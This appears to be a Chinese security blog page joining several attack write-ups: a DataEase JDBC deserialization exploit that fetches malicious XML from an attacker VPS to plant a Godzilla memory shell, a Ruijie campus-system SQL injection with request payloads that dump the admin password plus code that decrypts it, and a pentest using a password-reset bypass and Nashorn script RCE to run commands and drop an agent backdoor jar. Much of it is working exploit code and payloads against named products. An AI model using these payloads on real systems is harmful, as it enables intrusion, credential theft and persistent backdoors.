AAsAAAAAADAAHgAfAAEAAAAwACAAHwACALsAAAAMAAEAJAAHALkAvAAEADsAAAAHAAJuBwAvAAAIAJcAmAACAAcAAAEAAAYABAAAAGoSz7gA0kwrEtQEvQBdWQMSFlO2ANcrtgBnBL0ABFkDKlO2ALfAAKDAAKCwTRLZuADSTCsS2wO9AF22ANcBA70ABLYAt04ttgB8Et0EvQBdWQMSFlO2ANctBL0ABFkDKlO2ALfAAKDAAKCwAAEAAAAqACsALwAEAAgAAAAaAAYAAABcAAYAXQArAF4ALABfADIAYABFAGEACQAAADQABQAGACUAyACQAAEARQAlAMkAHwADACwAPgDKAJIAAgAAAGoAywDMAAAAMgA4AMgAkAABALsAAAAWAAIABgAlAMgAzQABADIAOADIAM0AAQA7AAAABgABawcALwASAAAACgAEAIIAhgCEAIgACQCbAJwAAgAHAAAA1AAEAAYAAAA+uwDpWbcA7ky7AOtZKrcA8U27AO1ZLLcA9E4RAQC8CDoELRkEtgD4WTYFmwAPKxkEAxUFtgD8p//rK7YBALAAAAADAAgAAAAeAAcAAABmAAgAZwARAGgAGgBpACEAawAtAGwAOQBuAAkAAAA+AAYAAAA+AN4AjAAAAAgANgDfAOAAAQARAC0A4QDiAAIAGgAkAOMA5AADACEAHQDlAIwABAAqABQA5gDnAAUAOwAAABwAAv8AIQAFBwCgBwDpBwDrBwDtBwCgAAD8ABcBABIAAAAEAAEAFAAgAQEBAgACAAcAAABXAAMABAAAAAsrLLgBCSsttgEOsQAAAAIACAAAAAoAAgAAAHIACgBzAAkAAAAqAAQAAAALAAoACwAAAAAACwEDAB8AAQAAAAsBBADMAAIAAAALAQUAHwADABIAAAAEAAEALwAIAGkATwACAAcAAABXAAIAAwAAABEqK7gBCU0sBLYBEywqtgEXsAAAAAIACAAAAA4AAwAAAHYABgB3AAsAeAAJAAAAIAADAAAAEQEPAB8AAAAAABEBEADMAAEABgALAREBEgACABIAAAAEAAEALwAIAQYBBwACAAcAAADHAAMABAAAACgqtgB8TSzGABksK7YBHk4tBLYBEy2wTiy2ASFNp//puwEZWSu3ASK/AAEACQAVABYBGQAEAAgAAAAmAAkAAAB8AAUAfQAJAH8ADwCAABQAgQAWAIIAFwCDABwAhAAfAIYACQAAADQABQAPAAcBEQESAAMAFwAFAJEBGgADAAAAKAEPAB8AAAAAACgBEADMAAEABQAjAI8AkAACALsAAAAMAAEABQAjAI8AzQACADsAAAANAAP8AAUHAF1QBwEZCAASAAAABAABARkAKABOAE8AAgAHAAAAQgAEAAIAAAAOKisDvQBdA70ABLgAYrAAAAACAAgAAAAGAAEAAACLAAkAAAAWAAIAAAAOASMAHwAAAAAADgEkAMwAAQASAAAACAADAIYAiACEACkATgBgAAIABwAAAhcAAwAJAAAAyirBAF2ZAAoqwABdpwAHKrYAfDoEAToFGQQ6BhkFxwBkGQbGAF8sxwBDGQa2ATQ6BwM2CBUIGQe+ogAuGQcVCDK2ATcrtgE6mQAZGQcVCDK2AT6+mgANGQcVCDI6BacACYQIAaf/0KcADBkGKyy2AKk6Baf/qToHGQa2ASE6Bqf/nRkFxwAMuwCGWSu3AT+/GQUEtgCvKsEAXZkAGhkFAS22ALewOge7AUFZGQe2AUS3AUW/GQUqLbYAt7A6B7sBQVkZB7YBRLcBRb8AAwAlAHIAdQCGAJwAowCkAIgAswC6ALsAiAADAAgAAABuABsAAACPABQAkAAXAJIAGwCTACUAlQApAJcAMACYADsAmQBWAJoAXQCbAGAAmABmAJ4AaQCfAHIAowB1AKEAdwCiAH4AowCBAKUAhgCmAI8AqACVAKkAnACrAKQArACmAK0AswCxALsAsgC9ALMACQAAAHoADAAzADMBJQDnAAgAMAA2ASYBJwAHAHcABwCRASgABwCmAA0AkQEpAAcAvQANAJEBKQAHAAAAygEPAB8AAAAAAMoBJADMAAEAAADKASoBKwACAAAAygEsAS0AAwAUALYAjwCQAAQAFwCzAS4AjgAFABsArwEvAJAABgA7AAAALwAODkMHAF3+AAgHAF0HAKsHAF39ABcHATABLPkABQIIQgcAhgsNVAcAiA5HBwCIABIAAAAIAAMAhgCEAIgAAA=='),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()}

image

xml文件放在vps上,然后进行请求

此时在后台,需要新建一个AWS Redshift数据源

image

数据库名称是

1
test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://vps/1.xml

其他都是随便填

点击获取Schema

image

vps收到服务器的请求,也就是请求xml文件

image

打开哥斯拉,配置好密码密钥选择好加载器后,需要继续配置请求头。并添加认证的凭证,也就是Authorization

image

点击测试,连接成功。

image

成功武器化利用

image

参考

由CVE-2022-21724引申jdbc漏洞
CVE-2024-23328 DataEase jdbc反序列化漏洞分析
mysql-fake-serve
java-memshell-generator


锐捷校园网自助服务系统SQL注入漏洞利用和密码解密

前言

最近在打攻防,在内网遇到了锐捷RG 校园网自助服务系统,搜了一下发现有一个MSSQL注入,通过这个注入,拿到了这台服务器的权限。因此记录一下利用方式。

漏洞利用

首先这个系统是分两个端的

系统 应用 说明
校园网自助服务系统 selfservice 给学生用的
sam + 认证计费管理平台 sam 给管理员用的

image

SQL注入

直接微信一搜索就能找到payload

image

延时注入

互联网流传的payload是延时的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /selfservice/service/operatorReportorRoamService HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Connection: close
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.webservice.common.spl.ruijie.com">
<soapenv:Header/>
<soapenv:Body>
<ser:queryOperatorUuid>
<!--type: string-->
<ser:in0>';WAITFOR DELAY '0:0:5'--</ser:in0>
</ser:queryOperatorUuid>
</soapenv:Body>
</soapenv:Envelope>

image

联合查询

因此改造一下payload、使用用联合查询直接读管理员密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /selfservice/service/operatorReportorRoamService HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Connection: close
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.webservice.common.spl.ruijie.com">
<soapenv:Header/>
<soapenv:Body>
<ser:queryOperatorUuid>
<!--type: string-->
<ser:in0>' UNION ALL SELECT ISNULL(CAST(PASSWORD AS VARCHAR(4000)),CHAR(32)) FROM USERINFO WHERE USER_ID = CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)--</ser:in0>
</ser:queryOperatorUuid>
</soapenv:Body>
</soapenv:Envelope>

image

密码解密

拿到密码后丢cmd5,查不出来。

image

咋办呢?直接分析源码就好了。

怎么去定位到改密码的加解密算法呢?

很简单,关注登录找回密码重置密码等业务功能点的代码就行了。

最终扣出以下的java代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
import com.sun.crypto.provider.SunJCE;  
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;
import java.security.Provider;
import java.security.Security;

/**
* @Author jdr
* @Date 2024-5-18 17:45
* @version 1.0
* @注释
*/

public class main {
private static final long serialVersionUID = 7969285134317283537L;
private static char[] samKey = new char[]{'1', '2'};
protected static int encryptType = 1;
private static Cipher encryptPbeCipher = null;
private static Cipher decryptPbeCipher = null;

public main() {
}
public static void init() {
encryptPbeCipher = null;
decryptPbeCipher = null;
initJce();
}

public static void initJce() {


try {
Security.addProvider(new SunJCE());
byte[] salt = new byte[]{-57, 115, 33, -116, 126, -56, -18, -103};
Provider wsProvider = Security.getProvider("BC");
if (wsProvider != null) {
Security.removeProvider("BC");
}

if (wsProvider != null) {
Security.addProvider(wsProvider);
}

PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 20);
SecretKeyFactory keyFac = SecretKeyFactory.getInstance("PBEWithMD5AndDES");
SecretKey pbeKey = keyFac.generateSecret(new PBEKeySpec(samKey));
encryptPbeCipher = Cipher.getInstance("PBEWithMD5AndDES");
decryptPbeCipher = Cipher.getInstance("PBEWithMD5AndDES");
encryptPbeCipher.init(1, pbeKey, pbeParamSpec);
decryptPbeCipher.init(2, pbeKey, pbeParamSpec);
} catch (Exception var5) {
System.out.println(var5);
}

}

public static synchronized byte[] encrypt(byte[] code) {
try {
if (encryptType == 1) {
return encryptPbeCipher.doFinal(code);
} else if (encryptType == 2) {
return code;
} else {
System.out.println("密码类型时出错, encryptType=" + encryptType + "!");
return code;
}
} catch (Exception var4) {
System.out.println(var4);

try {
init();
if (encryptType == 1) {
return encryptPbeCipher.doFinal(code);
} else if (encryptType == 2) {
return code;
} else {
System.out.println("密码类型时出错, encryptType=" + encryptType + "!");
return code;
}
} catch (Exception var3) {
System.out.println(var3);
return code;
}
}
}


public static synchronized byte[] decrypt(byte[] encode) {
try {
if (encryptType == 1) {
return decryptPbeCipher.doFinal(encode);
} else if (encryptType == 2) {
return encode;
} else {
System.out.println("密码类型时出错, encryptType=" + encryptType + "!");
return encode;
}
} catch (Exception var4) {
System.out.println(var4);

try {
init();
if (encryptType == 1) {
return decryptPbeCipher.doFinal(encode);
} else if (encryptType == 2) {
return encode;
} else {
System.out.println("密码类型时出错, encryptType=" + encryptType + "!");
return encode;
}
} catch (Exception var3) {
System.out.println(var3);
return encode;
}
}
}


public static synchronized String encrypt(String code) {
if (encryptType == 1) {
return bytesToHexString(encrypt(code.getBytes()));
} else if (encryptType == 2) {
return code;
} else {
System.out.println("密码类型时出错, encryptType=" + encryptType + "!");
return code;
}
}



public static synchronized String decrypt(String encode) {
if (encryptType == 1) {
return new String(decrypt(hexStringToBytes(encode)));
} else if (encryptType == 2) {
return encode;
} else {
System.out.println("密码类型时出错, encryptType=" + encryptType + "!");
return encode;
}
}
public static String bytesToHexString(byte[] ba) {
return bytesToHexString(ba, "");
}

public static String bytesToHexString(byte[] ba, String prefix) {
if (ba != null && prefix != null) {
StringBuffer sb = new StringBuffer();
sb.append(prefix);

for(int i = 0; i < ba.length; ++i) {
int vi = ba[i];
if (vi < 0) {
vi += 256;
}

if (vi < 16) {
sb.append("0");
}

sb.append(Integer.toHexString(vi));
}

return sb.toString();
} else {
throw new NullPointerException();
}
}

public static byte[] hexStringToBytes(String hexStr) {
return hexStringToBytes(hexStr, "");
}

public static byte[] hexStringToBytes(String hexStr, String prefix) {
if (hexStr != null && prefix != null) {
String myHexStr = hexStr.trim();
if (myHexStr.startsWith(prefix)) {
myHexStr = myHexStr.substring(prefix.length());
}

int myHexStrLen = myHexStr.length();
byte[] ba = new byte[myHexStrLen / 2];

for(int i = 0; i < myHexStrLen; i += 2) {
int vi = Integer.parseInt(myHexStr.substring(i, i + 2), 16);
if (vi > 128) {
vi -= 256;
}

ba[i / 2] = (byte)vi;
}

return ba;
} else {
throw new NullPointerException();
}
}


public static void main(String[] args) {
System.out.println("密码是:"+decrypt("68a9d05959330e4e"));
System.out.println(encrypt("123456"));
}
static {
initJce();
}
}

image

再利用解密后的密码就能登录sam的后台了。

image


前后端分离站点渗透测试

前言

最近在参与一个远程检查工作,因此记录下对某集团的渗透测试思路。

渗透测试

信息搜集

发现某集团有这样一个系统具备注册功能,因此直接就开始注册账号。

image

这里借助接码平台进行账号注册。

http://h5.yezi66.net:90/invite/1122313

image

注册成功后,进入系统。

image

此时没有任何可用的、有价值的功能点。

继续信息搜集,发现该站点的账号可以在该集团的另外一处系统进行登录,只是没有权限。

且通过前端ui样式和后端接口服务判断,两个服务器上的系统为同一套系统。

image

通过对第一个请求接口logon的分析发现,在账号密码正确时就已经返回了用户token

image

第二个请求接口verify会判断凭证是否有效进入系统内。

此处判断依据为删除verify接口在请求时携带payload,发现无影响,因此该接口判断用户是否有权限进入系统不是通过userId或者phone之类的字段去判别,而是通过请求头里的token去判别。

image

第三个请求接口logoff从接口命名来看是用来退出登录了,可能这个接口会导致logon获取的token失效。

漏洞挖掘

垂直越权获取管理员数据

在对js分析时,发现存在一个xxxx-managexxx的前端路由
可以访问。

访问方式为http://x.x.x.x/#/xxx-managexxx、该路径点会回显几个用户手机号。

其对应的后端接口为http://x.x.x.x/api/xxx/xxx/listAdministrators

image

此时获取到了几个管理员的手机号

任意用户密码重置

在对js分析时,发现了/xxx/xxx/resetPassword后端接口

但是不太清楚该接口需要传哪些参数,因此就对忘记密码功能进行测试,可能大概率两个接口的所需要的传参是差不多的。

image

输入上面管理员的手机号、验证码随便输入,再点击下一步

image

此时提示验证码已过期,直接修改errorCode的值为200

此过程的接口数据都放行、因此也就进入了步骤2

image

输入新密码为,在点击下一步,并抓包,将忘记密码重置密码功能点抓包的接口,改成上面发现的/xxx/xxx/resetPassword

image

提示验证码错误

再多发几次数据包?

image

诶…、回显200,好像重置成功。

所以这个重置密码接口很奇怪

就是你第一次发包重置密码,它会提示验证码错误。第二次发包也会提示验证码错误。

但是你多发几次数据包,它就好像重置成功了。

不明所以、能进后台就行。

image

SQL注入漏洞

继续测试,发现了一处数据源配置点,猜测可能有位置能够执行SQL语句。

image

任意代码执行漏洞

发现后台有个脚本库的功能点,该点好像是能去调试代码的。最开始看到脚本库的模板、还以为是nodejs的代码执行漏洞。

1
2
3
const fetch = require("fetch")

其他代码块

试了半天、提示脚本编译失败。

然后尝试去执行java的代码,然后也是提示脚本编译失败。

image

并且服务端响应的报错里面包含java的堆栈信息,堆栈信息里面
NashornScriptEngine、因此确定是js引擎的代码执行漏洞。

image

但是直接执行java代码,又会提示编译脚本错误。

因此最终在这个集团找了好几个相同系统的网站进到后台去测试该功能点,发现得按照这个模板来,才能够实现任意java代码执行漏洞。

1
2
3
4
5
6
7
8
9
10
function get() {
//任意java代码

return "返回你想要的数据";

}
App.test=function(){
return get()
}
module.exports = App;

然后再通过接口去调用这个test函数,才有可能能去执行函数里的任意java代码。

最开始不管怎么执行都不成功,后面才发现,执行成功还要看参数3的值是否有效。

数据包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /xxx/xxx/xxx/script HTTP/2
Host: x.x.x.x
Cookie: token=xxxx
Content-Type: application/json
Content-Length: 453


{
"参数1": "xxx",
"参数2": "yyy",
"参数3": "zzz",
"script": "function getToken() {\r\n var cmd = \"id\";\r\n var result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd).getInputStream(), \"GBK\").useDelimiter(\"\\\\A\").next();\r\n return result; \r\n \r\n}\r\n\r\n\r\nApp.test=function(){\r\n return getToken()\r\n}\r\n\r\nmodule.exports = App;",
"args": {
"envArgs": {},
"functionArgs": {
"test": [{}]
}
}
}

执行id命令

image

尝试去注入内存马。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
var classLoader = java.lang.Thread.currentThread()
.getContextClassLoader();
try {
classLoader.loadClass('org.springframework.c.SignatureUtils')
.newInstance();
} catch (e) {
var clsString = classLoader.loadClass('java.lang.String');
var bytecodeBase64 = '字节码的base64';
var bytecode;
try {
var clsBase64 = classLoader.loadClass('java.util.Base64');
var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder');
var decoder = clsBase64.getMethod('getDecoder')
.invoke(base64Clz);
bytecode = clsDecoder.getMethod('decode', clsString)
.invoke(decoder, bytecodeBase64);
} catch (ee) {
try {
var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter');
bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString)
.invoke(datatypeConverterClz, bytecodeBase64);
} catch (eee) {
var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder');
bytecode = clazz1.newInstance()
.decodeBuffer(bytecodeBase64);
}
}
var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');
var clsByteArray = (new java.lang.String('a')
.getBytes()
.getClass());
var clsInt = java.lang.Integer.TYPE;
var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]);
defineClass.setAccessible(true);
var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
clazz.newInstance();
}

执行后会提示Java reflection not supported when class filter is present

好像是不让反射的。

image

最后就尝试落地jar,直接注入agent马。

这里用的是https://github.com/veo/vagent

先将jar转成base64字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class main {
public static void main(String[] args) throws IOException {
String path = "agent.jar";
writeToFile(encodeFileToBase64(path),"12311.txt");
}

// 将文件转换为Base64字符串
private static String encodeFileToBase64(String filePath) throws IOException {
File file = new File(filePath);
FileInputStream fis = new FileInputStream(file);
byte[] fileContent = new byte[(int) file.length()];
fis.read(fileContent);
fis.close();
return java.util.Base64.getEncoder().encodeToString(fileContent);
}
// 将字符串写入文件
private static void writeToFile(String aa, String filePath) throws IOException {
FileOutputStream fos = new FileOutputStream(filePath);
fos.write(aa.getBytes());
fos.close();
}
}

再利用代码执行漏洞,将base64字符串转成字节数组输出到服务器上的jar文件里面去。

1
new java.io.FileOutputStream("1.jar").write(java.util.Base64.getDecoder().decode("base64字符串"));

赋给jar执行权限

1
chmod 777 1.jar

然后运行jar

1
java -jar 1.jar

image

此时发现agent是注入进去了。

然后尝试访问shell,发现路由是加进去了,但是命令却始终执行不成功。

image

注:响应200、且通过其他站点判断,未注入agent之前,访问/faviconc404,注入后访问是200

总结

实际上在测试的时候,没有这么风调雨顺。

最开始在A站点注册后,进入系统,是要我们去申请一个组织的,但是你的账号是没权限申请的。

到了B站点后,发现是没有注册功能的,想进入后台,就利用了A站点的注册接口去B站点发包,然后进入后台,且在B站点发现了管理员的手机号,通过重置密码的漏洞,进入后台,发现SQL注入以及代码执行漏洞。

回到A站点,以及后面发现的C、D、E、F等等站点,在通过注册接口获取用户凭证后、利用越权漏洞获取管理员手机号,再重置管理员的密码进入系统后台,发现这些系统前端是不具有执行SQL,执行java代码的前端路由的。因此就直接利用了B站点执行SQL和java代码的后端接口去实现漏洞利用的。

这几个站点是互相成就了,才导致了彼此都被RCE了。

所以在实际渗透测试里,要做更多的信息搜集和资产搜集。


明源云漏洞分析和复现
想看请联系本人。
Read more
某ehr sql注入漏洞利用(getshell)

前言

很早之前就审过该ehr系统(sql注入的确挺多的),没想到这段时间打攻防,遇上它了,虽然没通过最近爆出来的SQL注入漏洞去getshell,但是回酒店后也简单的复习了一下。

Read more
iVMS-8700代码审计2
文件上传GETSHELL、命令执行GETSHELL等,由于漏洞风险高,互联网未公开,因此设置了密码。
Read more
iVMS-8700代码审计

前言

群里有个师傅在问iVMS-8700综合安防管理平台软件的指纹信息,并且还说只是访问一下/eps/api/resourceOperations/upload,很明显,这里有个上传。本来18号就想着写出来的,才打完攻防,累,也就拖到了今天才写。

Read more
frida hook 加固app

前言

要求测试一个app,说是没加固的,实际上也就是没加壳,像模拟器环境检测、ROOT检测等等都有。

Read more
CTF之回调函数利用

前言

最近在整理学习CTF WEB方向的知识,有个网友问了一道题,觉得还不错,因此记录一下解题过程和学习思路。

Read more